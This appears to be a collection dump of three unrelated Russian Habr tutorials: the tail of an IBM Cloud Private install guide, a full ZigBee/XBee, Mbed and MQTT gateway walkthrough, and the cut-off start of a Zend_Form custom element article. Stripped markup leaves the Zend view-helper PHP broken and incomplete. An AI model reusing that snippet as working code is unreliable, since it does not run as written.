ssh-keygen -b 4096 -f ~/.ssh/id_rsa -N ""
cat ~/.ssh/id_rsa.pub | sudo tee -a ~/.ssh/authorized_keys
systemctl restart sshd
cp ~/.ssh/id_rsa ./cluster/ssh_key
```
Проверяем, что ключ создан и находится в папке /opt/icp/cluster:
```
ls /opt/icp/cluster
```
[](https://habrastorage.org/webt/5t/-f/th/5t-fthfoh0nvegetpvqgs5qcqvm.png)
*Рисунок 13. Содержимое папки cluster*
### Настройка ICP
Добавляем IP-адрес каждого узла в кластере в файл /opt/icp/cluster/hosts (в нашем случае мы используем один и тот же IP-адрес для каждого компонента, который мы указывали в /etc/hosts). Делаем это следующей командой:
```
nano /opt/icp/cluster/hosts
```
[](https://habrastorage.org/webt/uv/g4/3n/uvg43n_tjis5f-s9x1oakpsfjwi.png)
*Рисунок 14. Содержимое файла hosts*
Сохраните файл: Ctrl + X, Yes, Enter
Подробные сведения о параметрах установки можно посмотреть в файле конфигурации:
```
more /opt/icp/cluster/config.yaml
```
Не рекомендуем менять параметры установки по умолчанию.
> ***Примечание:** 2 самых важных файла для установки — это hosts и config.yaml, они описывают параметры установки ICP. В конфигурации с несколькими рабочими узлами необходимо указать список IP-адресов в разделе worker. При установке текущей версии ICP в режиме Single Node меняются IP-адреса только в файле hosts.*
### Установка ICP
Перейдите в каталог cluster и запустите установку:
```
cd /opt/icp/cluster
docker run -e LICENSE=accept --net=host -t -v "$(pwd)":/installer/cluster ibmcom/icp-inception:2.1.0.3 install
```
В зависимости от доступных ресурсов установка может длиться от 20 до 60 минут. При появлении ошибок (красные сообщения) внесите соответствующие изменения в конфигурационные файлы. Иногда установка может немного замедлиться из-за попыток повторного подключения к компонентам, которые еще не успели стартовать (например, во время запуска Cloudant или IAM).
Окончание установки должно выглядеть так:
[](https://habrastorage.org/webt/ft/9-/8r/ft9-8re-bg2velkh1hlxqdgoecu.png)
*Рисунок 15. Результат установки ICP*
В случае ошибок возможно потребуется деинсталляция ICP:
```
docker run -e LICENSE=accept --net=host -t -v "$(pwd)":/installer/cluster ibmcom/icp-inception:2.1.0.3 uninstall
```
Перед тем, как перейти к следующему шагу, подождите около 5 минут, чтобы все компоненты ICP могли успешно запуститься.
По ссылке указанной после завершения установки войдите в консоль ICP (admin/admin):
```
https://:8443
```
[](https://habrastorage.org/webt/t8/en/-t/t8en-t-wktktunis-pn4phoz2dw.png)
*Рисунок 16. Страница входа в панель управления*
Страница приветствия ICP:
[](https://habrastorage.org/webt/ji/bf/t6/jibft6ehclvq8-npu2slawyoxbo.png)
*Рисунок 17. Веб интерфейс панели управления*
Вверху справа выберите меню «Catalog», отобразится список доступных приложений:
[](https://habrastorage.org/webt/3i/_w/tt/3i_wttbjrkwapn7nvohf-fo4ziy.png)
*Рисунок 18. Каталог компонентов*
В этом каталоге представлен список приложений и ПО, описание которых вы можете изучить на досуге, но пока не стоит торопиться разворачивать их.
Нам еще предстоит научиться правильно обращаться с только что установленным ICP (не только через Веб-интерфейс, но и консоль в виде CLI — Command Line Interface), подключать постоянное хранилище (persistent storage) и производить небольшие настройки.
В качестве заключения
---------------------
Подведем итоги.
Мы успешно развернули IBM Cloud Private community edition (версии 2.1.0.3) на одном хосте в виртуальной машине под ОС Ubuntu Server 16.04.5. На текущий момент нами собственноручно проверена установка на гипервизорах VMware и Hyper-V, точно работает на XenServer и никаких сложностей для VirtualBox и KVM быть не должно.
Кому очень не терпится окунуться дальше в изучение ICP, то есть отличная подборка лабораторных работ нашего коллеги тут: [github.com/phthom/IBMCloudPrivate](https://github.com/phthom/IBMCloudPrivate)
Из предстоящих шагов — после свежей установки нам остается немного настроить ICP и начать наполнять его чем-то полезным и приближенным к практическим задачам.
Если Хабр-сообщество поддержит позитивом это начинание, то по мере продвижения наших исследований и экспериментов мы будем наполнять ядро платформы необходимыми компонентами для сбора телеметрии, хранения данных, их обработки, анализа, построения прогнозов, формирования внешних программных интерфейсов и создания пользовательских приложений. Соответственно развивая серию таких статей.
Ждем ваших отзывов и предложений!
Также, наши единомышленники из [AIXportal.ru](https://aixportal.ru/) подготовили замечательный видео-ролик по установке IBM Cloud Private на своем Youtube канале, кому-то будет удобнее так: [youtu.be/eQwOOTzjM24](https://youtu.be/eQwOOTzjM24)
Ссылки и полезные материалы
---------------------------
• [Страница о продукте на русском](https://www.ibm.com/cloud-computing/ru-ru/products/ibm-cloud-private/)
• Кто хочет потренировать английский, книга — «[ICP для чайников](https://public.dhe.ibm.com/common/ssi/ecm/ku/en/kum12391usen/ibm-cloud-private-fd-ltd-ed_KUM12391USEN.pdf)» 2018г. (40 страниц)
• [Официальная документация по ICP 2.1.0.3](https://www.ibm.com/support/knowledgecenter/en/SSBS6K_2.1.0.3/getting_started/overview.html) на IBM Knowledge Center
• Открытое сообщество по [ICP на IBM developerWorks](https://www.ibm.com/developerworks/community/wikis/home?lang=en#!/wiki/W1559b1be149d_43b0_881e_9783f38faaff)
• [Рецепты по ICP для разработчиков](https://developer.ibm.com/recipes/tag/ibm-cloud-private/) | https://habr.com/ru/post/426135/ | null | ru | null |
# Собираем простейшую ZigBee-сеть, программируем под Mbed, общаемся через MQTT
Эта статья — большой учебный практикум начального уровня по использованию XBee-модуля в связке с микроконтроллером, имеющим на борту Mbed OS. ZigBee — давно и прочно укоренившийся стандарт в системах «Умного дома» (например, он используется наряду с Z-Wave в хабе Samsung SmartThings, см. нашу [статью](https://habr.com/ru/company/samsung/blog/489834/)), он отличается низким энергопотреблением, простотой использования, и, что самое интересное, возможностью создания самоконфигурируемых mesh-сетей. Вы увидите из практикума, что это действительно так — мы посмотрим на структуру такой сети через удобную утилиту-визуализатор.
Предполагается, что вы уже знаете, что такое ZigBee и для чего он нужен. Теперь вам хочется подключить свой первый XBee-модуль и решить с его помощью свои задачи, не вдаваясь в программирование самого модуля, а лишь используя его как интерфейс связи. В конце будем все данные пересылать через самодельный MQTT-шлюз куда угодно, хоть на локальный сервер, хоть в Интернет. Мы решили показать всё на примере Mbed как самой простой и доступной новичкам RTOS. Вы убедитесь, что всё работает «из коробки», и можете сразу начать делать свой проект, даже если до этого вы имели дело только с Ардуино.
Руководство будет состоять из следующих частей:
1. Подключение и конфигурация XBee-модуля
2. Объединяем модули в сеть
3. Настраиваем модуль, не вынимая его из шилда
4. Получение данных
5. Отправка данных
6. Делаем простой MQTT-шлюз
Но вначале список компонентов: что желательно иметь, чтобы сделать всё вышеописанное.
### Необходимые компоненты
* Две Mbed-совместимые платы. Рекомендуем учебную плату STM32 Nucleo как относительно недорогую и популярную в образовательных целях. Процесс программирования там упрощен максимально: собираете программу в онлайновой бесплатной IDE, скачиваете собранную прошивку и «бросаете» ее на плату, которая появится в системе как флешка. Какую конкретно модель брать, не принципиально, но берите не самую старую, обращайте внимание на объём памяти. Например, F401RE — даем просто для определенности, чтобы вы не запутались в их разнообразии и поначалу непонятных буквенных кодах STM-процессоров.
 
* Три XBee-модуля. Подойдет любой официальный модуль от Digi. Брать «неродные» модули, то есть, к примеру, MBee, не рекомендуется, хоть они и дешевле, так как они будут несовместимы, и потеряется вся фишка общего стандарта. Наличие/отсутствие антенны или разъёма для нее для нас неважно: модули прекрасно соединяются друг с другом, даже будучи разными в этом смысле. Также неважно наличие/отсутствие модификатора Pro: это серия с повышенной дальностью приемопередачи, для задачи просто попробовать это некритично, переплачивать за Pro не имеет смысла.
* Два шилда XBee Shield V2 (от SeeedStudio). Мы рекомендуем именно этот шилд из-за возможности конфигурации при помощи джамперов, к каким именно выводам микроконтроллера будут подключаться RX и TX XBee-модуля.
* Один USB-UART преобразователь с разъёмом для XBee. Он нужен для первоначального конфигурирования. Модули XBee сами по себе не снабжены интерфейсом USB (он им не к чему). USB нужен только и исключительно для коммуникации модуля с компьютером, а в устройстве он может работать по гораздо более простому UART.
Шаг разъёмов модулей XBee составляет 2.0 мм — для электроники нестандартный, в метрической системе (обычно мы привыкли видеть шаг 2.54 по американским стандартам). Поэтому, к сожалению, такие модули не вставляются в макетные платы и к ним всегда нужен переходник.
Здесь переходник подойдет любой, мы взяли вот этот от Waveshare:
Подключение и конфигурация XBee-модуля
======================================
Самое простое, что можно сделать с модулем – это подключить его к компьютеру напрямую по USB. Мы сразу получим доступ к его конфигурационным параметрам.
### Установка XCTU
Для работы с XBee существует официальная программа XCTU. [Скачайте](https://www.digi.com/resources/documentation/Digidocs/90002126/tasks/t_download_and_install_xctu_linux.htm) ее и установите. В документации пишут, что в Ubuntu нужно добавить пользователя в группу `dialout` для работы с портами не из-под суперпользователя — сделайте это, если ещё не сделали:
```
sudo usermod -a -G dialout
```
Скачайте zip-архив по ссылке, в нем будет файл `.run`. Его нужно сделать исполняемым (через `chmod +x имя_файла` в консоли или: правая кнопка мыши — Properties — Permissions) и запустить `./40002881_V.run`.
Важно запускать установку не из-под рута (без `sudo`), иначе потом будут проблемы.
Установка выглядит примерно так:
### Программа XCTU
После установки можно запустить программу запуском файла `app` в той директории, куда вы установили программу (по умолчанию — `~/Digi/XCTU-NG`).
Внешний вид будет такой:
В этой программе вы можете добавить имеющийся у вас модуль, подключенный к USB-порту через переходник. Нажмите на кнопку Discover с лупой. Выскочит окошко с предложением выбрать порт — как вы видите, программа корректно определила наличие в системе порта `/dev/ttyUSB0`, это и есть наш USB-UART адаптер.
Окошко предлагает выставить галочки для поиска. Конечно, есть соблазн поставить галочки сразу все, чтобы уж наверняка найти свой модуль. Но тогда поиск будет идти очень долго. На практике, имеет смысл оставить галочки по умолчанию, а варианты скорости передачи данных выбрать самые распространенные, как на картинке ниже. Обычно у новых модулей по умолчанию стоит 9600, и для учебных целей этого более чем достаточно, скорость нам тут некритична.
В итоге, если всё успешно, вам будет предложено выбрать найденный модуль:
Был замечен небольшой баг: иногда модуль с нестандартной скоростью не находился, помогала ручная перезагрузка модуля кнопкой Reset во время поиска и сброс его baud rate на стандартный (9600).
### Меняем параметры модуля
Дальше занимаемся конфигурацией модуля. Выпадет куча параметров, большинство из которых поначалу непонятны. К счастью, для быстрого старта нужно будет поменять только несколько из них.
**Идентификатор сети — PAN ID.** Общий ключ сети, он должен быть одинаковым у всех устройств, чтобы они самостоятельно объединились в сеть. Поставьте любое число, в нашем случае мы сделали 42.
**CE — Coordinator Enabled.** Если здесь 1, то данный модуль выполняет роль координатора (Coordinator). Если стоит 0, то модуль выполняет роль роутера (Router) — фактически он просто обеспечивает прохождение пакетов по сети через себя. Большинство узлов сети обычно именно роутеры. Нам в нашей сети понадобится один координатор и два роутера, так что поставьте здесь единичку.
Бывает ещё роль «Конечное устройство» (End device) — это модуль, который не выполняет работ по передаче пакетов, а только общается с другими роутерами и выполняет свой полезный функционал. Обычно он просто находится в спящем режиме и через заданные промежутки времени просыпается и узнает, не пришло ли сообщений. Такой модуль может питаться от батарейки, в то время как роутер и координатор всегда должны находиться «онлайн» и как следствие нуждаются в постоянном питании для поддержания работоспособности всей сети. Мы сейчас не будем такой пример рассматривать, поскольку интереснее всем назначить роль роутеров и понаблюдать за тем, как сеть будет менять свою конфигурацию автоматически.
**AP — API Enable.** Режим работы. XBee-модули могут работать в двух режимах: AT или API. AT-режим проще для новичков, он представляет собой прозрачную замену последовательного порта и работу с модулем через AT-команды. Однако API-режим гораздо богаче по функционалу, он позволяет удаленно конфигурировать модули, содержит адрес отправителя, возвращает статус доставки пакета, и многое другое. Кроме того, библиотеки для взаимодействия с XBee предполагают использование устройства именно в API-режиме. Поэтому сразу замените на API-режим, это делается установкой единицы в соответствующем поле.
**Название модуля — Node Identifier.** Удобный параметр, чтобы дать вашему модулю человекочитаемое имя. Давайте дадим ему такое название — Coordinator.
После этого можно прошить настройки в модуль нажатием на кнопку с карандашом:
2. Объединяем модули в сеть
===========================
Сейчас мы посмотрим, какая сеть получится, если сконфигурировать три модуля. В программе XCTU есть достаточно удобный визуализатор сети, мы наглядно увидим топологию.
Сконфигурируем все три модуля поочередно со следующими параметрами:
* PAN ID — общее число, например 42
* AP (API Enable) — поставьте 1 (работа в API-режиме)
* NI (Node Identifier) — дайте модулям понятные имена (Coordinator, Lamp и Switch, если мы делаем, к примеру, модель системы Умного дома).
* CE (Coordinator Enable) — одному из модулей поставьте значение 1, он будет координатором.
После чего подайте питание на все модули. Расположите их так: координатор будет находиться в USB-UART преобразователе, а два других (роутеры) — будут находиться на платах XBee Shield поверх Nucleo.
Если всё сделали внимательно, то произойдет прекрасное. Модули автоматически соединятся в сеть. Вы сможете связываться с роутерами удаленно, через координатора.
Выглядит это так. Нажмите кнопку «Discover radio nodes in the same network».
Вы увидите, что автоматически обнаружились и добавились два модуля:
И вы можете менять их параметры «на лету»!
Что ещё прекрасно: теперь вы можете увидеть карту сети, если переключитесь вверху справа на Network working mode.
Раздвинув узлы сети мышкой, вы увидите треугольник. Обратите внимание, что трафик к крайнему правому модулю может идти двумя путями. И если вы переместите модули в пространстве, то увидите, что картинка поменялась, и теперь, возможно, другой модуль станет «крайним». В этом и суть самоконфигурируемой сети.
3. Настраиваем XBee-модуль, не вынимая его из шилда
===================================================
Конечно, интереснее будет работать с XBee-модулем не через компьютер, а управляя им при помощи программы на микроконтроллере. То есть соединив его с платой STM32Nucleo.
Обсудим вопрос, как модуль XBee может общаться с микроконтроллером. И начнем вот с какой небольшой задачи: как конфигурировать модуль, не вынимая его из шилда расширения? Ведь согласитесь, что двигать модуль туда-сюда неудобно, в то же время хочется экспериментировать с параметрами и странно, зачем нужен отдельный модуль USB-UART, ведь по идее такой есть в плате STM32Nucleo.
Решение задачи простое: нам нужно превратить плату Nucleo в мост между XBee-модулем и USB-преобразователем на плате.
Общее описание идеи
-------------------
У микроконтроллера STM32, который мы используем, на борту есть несколько интерфейсов UART. Каждый такой интерфейс представляет собой канал коммуникации. Один из них подключен к преобразователю USB-UART, чтобы мы могли общаться с компьютером через USB в терминале. Два других пока не используются. К одному из них мы и подключим модуль XBee, у которого тоже есть такой канал коммуникации. Вы можете выбрать какой угодно UART, мы выбрали для определенности UART1.
Расположение выводов можно посмотреть в MBed вверху справа, нажатием кнопки выбора платы, и далее — вкладка Pinout. С непривычки может быть довольно сложно воспринимать эту цветастую картинку. Здесь очень много всего, поскольку у платы много интерфейсов, а еще есть две нумерации выводов: относительно микроконтроллера (PA\_5, PA\_6 — нумерация выводов), и относительно платы (D13, D12 — надписи на плате Nucleo, те самые цифры возле выводов).
Получится, что на микроконтроллере интерфейс UART1 будет общаться с XBee-модулем, а UART2 — как и раньше, с компьютером. Внутренний код будет перенаправлять UART1 на UART2 и наоборот.
По подключениям это будет выглядеть так:
### Делаем «мост» из микроконтроллера
В нашем случае мы можем джамперами на шилде выставить те номера, к которым хотим подключить ZigBee-модуль. TX модуля связи будет заведен на вывод 2 платы (PA\_9 на микроконтроллере), а RX — на вывод 8 (он же PA\_10).
Выглядеть это будет так:
[Код](https://os.mbed.com/users/4180_1/code/Serial_Bridge/), который мы взяли, называется Serial Bridge. Это «мост» между двумя коммуникационными каналами. Мы загружаем в микроконтроллер код, который пробрасывает всё, что приходит на вход от компьютера через UART2, в UART1, и наоборот. Как будто мы вставили трубу (pipe) между двумя источниками информации (линуксоиды поймут). К UART1 мы подключили XBee-модуль.
Код очень простой, единственное, что в нем нужно поменять – это номера выводов, к которым подключено устройство (device). То есть сделать их PA\_9 и PA\_10, как указано выше.
```
#include "mbed.h"
// Make a serial bridge from a serial I/O device on mbed to the PC
Serial pc(USBTX, USBRX); // tx, rx
Serial device(PA_9, PA_10); // tx, rx
// Defaults to 9600 baud on each device - use .baud(baudrate) to change
int main() {
pc.printf("Hello!");
while(1) {
if(pc.readable()) {
device.putc(pc.getc());
}
if(device.readable()) {
pc.putc(device.getc());
}
}
}
```
Важно, что если вы перепутаете порядок выводов – к примеру, ошибетесь и напишете вместо PA\_9, PA\_10 – неправильный порядок PA\_10, PA\_9, то компилятор вам не сообщит об ошибке, при этом программа будет выдавать ошибку в консоли при перезагрузке:
```
pinmap not found for peripheral
```
и дальше двигаться не станет, то есть в принципе ничего работать не будет.
После того, как вы загрузите этот код и правильно выставите джамперы на шилде, к XBee-модулю можно будет спокойно подключаться с компьютера, так же, как вы это делали ранее с USB-UART адаптером, не вынимая его из шилда. Он будет исправно обнаруживаться программой XCTU.
Даже если вам не нужен этот функционал, всё равно проверьте работоспособность программы, поскольку в следующем примере мы будем общаться с XBee-модулем со стороны микроконтроллера, и соединение по UART1 должно быть уже налажено (то есть правильно поставлены джамперы и указаны номера выводов в программе).
4. Получение данных
-------------------
Рассмотрим два простых примера: как на уровне микроконтроллера получать и отправлять данные, пользуясь XBee-модулем как внешним интерфейсом связи.
Есть официальная [библиотека](https://os.mbed.com/teams/Digi-International-Inc/code/XBeeLib/) от производителей — компании Digi. Она лежит в репозитории Mbed, там есть полезные комментарии по использованию и логике кода.
Вначале изучим, как получать данные — там пример попроще. У нас будет XBee-модуль, подключенный к USB-UART преобразователю, отправлять приветствие плате Nucleo, и она будет печатать это приветствие в консоль.
Откройте [проект](https://os.mbed.com/teams/Digi-International-Inc/code/XBeeLib/wiki/Receiving-Data-from-other-module) в этой библиотеке. Как всегда, импортируйте его в онлайн-компилятор как программу.
### Фикс библиотеки для S2C-модулей
Имейте в виду, что если у вас модули серии S2C:
то вам вместо стандартной библиотеки нужно использовать фикс: [XBeeLib\_Fixed](https://os.mbed.com/users/maiorfi/code/XBeeLib_Fixed/). В противном случае, эти программы работать не будут. Она добавляется в проект просто удалением оттуда библиотеки XBeeLib, и импортом в проект XBeeLibFix. Больше ничего менять не нужно.
Итак: импортируйте эту библиотеку в онлайн-компилятор:
Появится окошко импорта проекта. Там нужно выбрать цель — куда импортируем:
В качестве целевого проекта выбираем наш пример XBeeZB\_Receive\_Data.
После чего произойдет импорт библиотеки в проект, и далее смелым движением удаляем неправильную версию XBeeLib.
### Компиляция примера
Итак, вы импортировали пример и заменили в нем библиотеку при необходимости.
Посмотрите код примера, он достаточно простой. В нем определена callback-функция, которая вызывается при получении пакета. Эта функция печатает в консоль содержимое полученного пакета. Так что если мы ей пришлем приветствие, она напечатает его тоже.
Чтобы пример скомпилировался, нужно прописать в примере те выводы, которые у нас отвечают за коммуникацию с XBee-модулем, ведь программе неизвестно, к каким именно выводам мы подключили «железо».
Поэтому идем в файл config.h и в нем строчки:
```
//#define RADIO_TX NC /* TODO: specify your setup's Serial TX pin connected to the XBee module DIN pin */
//#define RADIO_RX NC /* TODO: specify your setup's Serial RX pin connected to the XBee module DOUT pin */
```
Раскомментируем, и вместо NC пишем, в соответствии с тем, к каким выводам мы подключили джамперы:
```
#define RADIO_TX PA_9
#define RADIO_RX PA_10
```
Аналогичным образом, модифицируем строчки:
```
//#define DEBUG_TX NC /* TODO: specify your setup's Serial TX for debugging */
//#define DEBUG_RX NC /* TODO: specify your setup's Serial RX for debugging (optional) */
```
Пишем:
```
#define DEBUG_TX USBTX
#define DEBUG_RX USBRX
```
Если при компиляции вы встречаете ошибку, что не получается найти `device.h` — просто обновите библиотеку Mbed в дереве проекта (правый клик на ней -> Update)
После чего программа успешно скомпилируется, и вы сможете загрузить ее в плату.
### Запуск примера
Посмотрев в консоли, что пишет плата Nucleo, вы увидите следующее:
Как нам отправить данные? Самый простой вариант: через консоль в программе XCTU. Выберите в основном меню программы: Tools — Serial Console.
Внизу видно окошко с надписью Send packets. Создайте новый пакет нажатием на «плюс» справа. Появится окно создания нового пакета. Выберите там вкладку HEX.
Введите туда такую посылку данных:
`7E 00 19 10 01 00 00 00 00 00 00 FF FF FF FE 00 00 48 65 6C 6C 6F 20 58 42 65 65 21 5A`
(кнопкой «Send selected packet» справа от списка пакетов)
Увидите результат в консоли слушающего модуля:
Обратите внимание, что он вывел только последнюю часть того набора байтов, который вы отправляли. Это — собственно payload (полезная нагрузка) сообщения. Также обратите внимание, что если вы отправите «просто байты» (любую случайную комбинацию байтов), то получатель их выводить не станет.
Если вы поместите набор байтов:
`48 65 6C 6C 6F 20 58 42 65 65 21`
в любой HEX-ASCIII конвертер (например, [такой](https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html)), то убедитесь, что это означает «Hello XBee!»
Очень простое задание на самостоятельное выполнение: модифицируйте код примера так, чтобы он выводил текст сообщения в ASCII, а не HEX, и вы бы могли читать этот текст в терминале.
5. Отправка данных
==================
По аналогии с предыдущим примером, рассмотрим теперь отправку данных.
Здесь всё, как и в прошлом примере. Только с той разницей, что теперь мы открываем [пример](https://os.mbed.com/teams/Digi-International-Inc/code/XBeeZB_Send_Data/) XBeeZB\_Send\_Data.
### Компиляция примера
Важно, что если у вас модуль S2C (на нем это явно написано),
то вы опять подключаете библиотеку с фиксом, иначе ничего работать у вас не будет. Как это сделать, описано в предыдущем примере.
Также, здесь для успешной компиляции нужно указать используемые выводы контроллера, их можно просто скопировать из предыдущего примера.
Смотрим сам код примера. В `main` используется несколько методов для отправки данных. Выберем самый простой: отправить данные координатору. Нам не нужно даже прописывать адрес координатора, ведь он и так прописан в сети. Поэтому, не меняя сэмпл, комментируем пока все строчки в конце:
```
send_data_to_coordinator(xbee);
//send_broadcast_data(xbee);
//send_data_to_remote_node(xbee, remoteDevice);
//send_explicit_data_to_remote_node(xbee, remoteDevice);
```
И при запуске увидите вот что:
(если не видите — просто перезагрузите плату)
Как убедиться, что данные доходят до координатора? Например, в XCTU есть режим сетевой консоли. Включается кнопкой справа сверху. В этом режиме вы будете видеть все пакеты в сети. Конечно, при этом у вас должно быть установлено соединение по Serial-порту с координатором. И не забудьте нажать кнопку Open (открыть соединение) вверху слева, чтобы она стала зеленой.
Про каждый пакет в сети можно посмотреть подробную информацию, выбрав его в списке слева:
Прокрутив до конца содержание пакета, вы увидите и строчку с текстом «send\_data\_to\_coordinator»:
Вы можете попробовать другие методы отправки данных, но там (к примеру, для отправки на отдельный выбранный узел) надо прописывать адрес узла. Адреса всех модулей вы видите в программе XCTU. Как прописать конкретные адреса, исчерпывающе описано в примере.
6. Делаем MQTT-шлюз
-------------------
Всё замечательно, но теперь хотелось бы как-то удобно работать с этими данными вне сети XBee, например — в Интернете. Один из вариантов, как это сделать — поставить транслятор из XBee в популярный протокол MQTT. Тогда мы привычным образом сможем подписываться на уведомления о событиях и отправлять команды из пользовательского интерфейса, и находиться эта программа может где угодно (если использовать внешний, а не локальный MQTT-сервер), а не только на нашем компьютере.
Ниже инструкция. Если вкратце, то запущенная на компьютере программа будет обмениваться данными от координатора сети через USB-соединение. Эти данные она будет транслировать в протокол MQTT.
### Установка и настройка XBMQ
Программа, которую мы будем использовать в роли MQTT-шлюза, называется XBMQ, она открытая и свободная. Существует в двух версиях:
* [Java](https://github.com/angryelectron/xbmq-java)
* [NodeJS](https://github.com/angryelectron/xbmq-js)
Будет рассмотрена версия под Java, хотя это не слишком принципиально: программировать мы её всё равно не будем, а только установим и будем пользоваться.
Для работы программы понадобится библиотека RXTX, её можно установить просто из репозитория:
```
sudo apt-get install librxtx-java
```
И разумеется, понадобится JDK (Java Development Kit). Он существует в двух версиях — от Oracle и OpenJDK, рекомендуется второе. Скорее всего, OpenJDK уже стоит в вашей системе, если нет — доустановите его. Java нужна максимум 8-я, поскольку [javax.xml.bind исключен из Java 11](https://www.oracle.com/technetwork/java/javase/11-relnote-issues-5012449.html#JDK-8190378) и нужно выбрать альтернативу с JDK-8 как вариант по умолчанию, или создать конфигурацию для этого случая.
Скачиваем репозиторий программы XBMQ:
```
git clone https://github.com/angryelectron/xbmq-java
```
Скачав исходные коды, мы соберем бинарный файл программы. Команда
```
ant dist
```
соберет проект под все основные ОС. Итоговая собранная программа будет лежать в папке `dist`.
Теперь сконфигурируем эту программу. Открываем файл
```
dist/xbmq.properties
```
и видим там:
```
#
# Xbmq Properties.
#
#port = /dev/ttyUSB0
#baud = 9600
#rootTopic = ab123
#broker = tcp://test.mosquitto.org:1883
#username = user
#password = password
```
Раскомментируем и меняем на свои параметры. Параметры здесь такие: порт подключения ZigBee-координатора, скорость, корневой топик (в него будут попадать все данные), адрес MQTT-сервера, имя пользователя и пароль (в случае, если сервер их требует).
В данном примере изменился только адрес сервера — на локальный mqtt-сервер (стандартный mosquitto из Linux). Всё остальное было оставлено по умолчанию:
```
port = /dev/ttyUSB0
baud = 9600
rootTopic = ab123
broker = tcp://127.0.0.1:1883
username = user
password = password
```
Перед следующим шагом у вас должен быть установлен и запущен локальный MQTT-сервер mosquitto:
```
sudo apt-get install mosquitto
```
### Запуск XBMQ
И наконец, программу можно запускать. Подключив USB-UART преобразователь со вставленным модулем координатора, запустите программу:
```
./dist/xbmq.sh
```
При запуске скрипта увидим в консоли строчку:
```
INFO - Starting XBMQ gateway ab123/0013A2004154EA46
```
Последнее — это ровно в точности адрес нашего координатора. Если подписаться на все топики внешним MQTT-клиентом, то сразу же увидите 2 сообщения:
* В топике `ab123/0013A2004154EA46/online` — будет лежать 1, это Last Will (хороший пример того, как эти «особенные» параметры используются в реальной жизни)
* В топике `ab123/0013A2004154EA46/log` будет лежать та самая отладочная фраза «Starting XBMQ gateway...», которую вы уже увидели в консоли
А теперь попробуйте послать сообщение с какого-нибудь другого внешнего XBee-модуля — например, возьмите пример с отправкой данных.
В результате, в программе MQTT.fx вы, если подпишетесь на все топики (#), увидите вот что:
*Окно программы MQTT.fx*
То есть запустив изученный ранее пример с отправкой сообщения координатору, мы увидим этот текст («send\_data\_to\_coordinator») в составе MQTT-пакета. Общий родительский топик у нас тот, который задан в конфигурации программы (*ab123*, можете поменять его на свой). Дальше идет адрес координатора, затем — адрес модуля, от которого пришло сообщение. И наконец, этот топик называется DataOut, поскольку это исходящие данные.
Разумеется, такую картинку вы увидите и в любом другом MQTT-клиенте, будь то MQTTLens или даже просто `mosquitto_sub` в консоли.
Пара финальных замечаний:
* По-хорошему, эта программа должна работать в режиме демона. Для этого есть файл xbmqd, и в README написано, как этим пользоваться.
* Имейте в виду, что, поскольку `xbmq` держит порт, мы не можем запускать эту программу одновременно с XCTU.
Теперь вы можете работать с вашей системой, используя протокол MQTT, и писать сложные, интересные программы!
*Татьяна Волкова — Автор учебной программы трека по Интернету вещей «IT Академии Samsung», специалист по программам корпоративной социальной ответственности Исследовательского центра Samsung* | https://habr.com/ru/post/497200/ | null | ru | null |
# Zend_Form_Element: создание своего элемента
#### 0. Intro.
В процессе разработки достаточно часто нужно использовать различные кастомные селекты, инпуты, загрузщики файлов и прочее. В этом случае приходится писать дополнительные обработчики на стороне клиента, так как ZF из коробки не знает ничего, кроме стандартных элементов форм (капча есть исключение). В этой статье будет рассмотрено создание элемента на базе facebook-like TextboxList плагина для jQuery, который выглядит вот так:
#### 1. Теория.
Собственно, для того, что бы создать новый элемент, нужно соблюсти два условия:1. нужен класс элемента, наследуемый от Zend\_Form\_Element\_Xhtml;
2. view helper, который будет отвечать за отрисовку;
3. название элемента должно быть в нашем namespace (в этом случае Eve\_) и оно должно быть корректно настроено.
#### 2. Практика.
##### 2.1. Создаем Eve\_Form\_Element\_TextboxList
Структура класса состоит из следующих основных частей:1. указания помощника вида, который отрендерит элемент;
2. задания опций по умолчанию;
3. перегрузка метода для установки (либо объединения) опций (опционально);
4. остальные опции\методы на этом этапе не нужны и их можно подсмотреть в Zend\_Form\_Element.
Главные задачи класса элемента — это управление валидаторами\декораторами\фильтрами и обработке опций с последующей их передачей помощнику вида.
Исходник класса в листинге с комментариями:
```
class Eve_Form_Element_TextboxList extends Zend_Form_Element_Xhtml
{
/**
* Имя хелпера
* @var string
*/
public $helper = 'formTextboxList';
/**
* Опции по-умолчанию
* @var array
*/
public $options = array(
'js_main' => '/js/jquery.textboxlist.js', // путь к главному скрипту плагина
'js_autocomplete' => '/js/jquery.textboxlist.autocomplete.js', // путь к скрипту плагина для плагина (поддержка подсказок)
'js_growinginput' => '/js/jquery.growinginput.js', // зависимость скрипта
'use_autocompletion' => '0', // использовать подсказки или нет
'autocomplete_script' => null, // backend, откуда брать подсказки
'css_main' => '/css/textboxlist.css', // стили
'css_autocomplete' => '/css/textboxlist.autocomplete.css',
);
/**
* Высчитывает только указанные пользователем опции и их устанавливает
*
* @param array $options
* @return Eve_Form_Element_TextboxList
*/
public function setOptions(array $options)
{
/**
* В отличии от самого фреймворка, здесь выбираются только опции, которые были заданы
* на этапе описания эелемента
*/
$diff = array_intersect_key($options, $this->options);
$this->options = array_merge($this->options, $diff);
/**
* затем все кастомные опции необходимо удалить, иначе они попадут в html как аттрибуты элемента
*/
foreach ($diff as $key => $option) {
unset ($options[$key]);
}
parent::setOptions($options);
return $this;
}
}
```
##### 2.2. Создаем помощник вида Eve\_View\_Helper\_FormTextboxList
Класс должен иметь метод совпадающий с названием класса, который вызовется автоматически при обращении к помощнику.
Код в листинге + комменты:
```
class Eve_View_Helper_FormTextboxList extends Zend_View_Helper_FormElement
{
/**
* Generates a 'textboxList' element.
*
* @access public
*
* @param string|array $name If a string, the element name. If an
* array, all other parameters are ignored, and the array elements
* are extracted in place of added parameters.
*
* @param mixed $value The element value.
*
* @param array $attribs Attributes for the element tag.
*
* @return string The element XHTML.
*/
public function formTextboxList($name, $value = '', $attribs = null, $options = null)
{
$id = $name;
$elemId = $this->view->escape($id);
$xhtml = 'view->escape($value) . '"';
}
// присвоение аттрибутов уже к html элементу
$xhtml .= $this->_htmlAttribs($attribs);
$xhtml .= '/>' . PHP_EOL;
/**
* Здесь стоит заметить, что код нуждается в дополнение, т.к. в случае, если на странице будет
* больше одного такого элемента, то нет необходимости в повторной инициализации.
*/
// add content and end tag
$xhtml .= $content . ($this->view->doctype()->isXhtml() ? '/>' : '>') . PHP_EOL;
$this->view->headScript->appendFile($options['js_growinginput']);
$this->view->headScript->appendFile($options['js_main']);
$this->view->headScript->appendFile($options['js_autocomplete']);
$this->view->headLink->appendStylesheet($options['css_main']);
$this->view->headLink->appendStylesheet($options['css_autocomplete']);
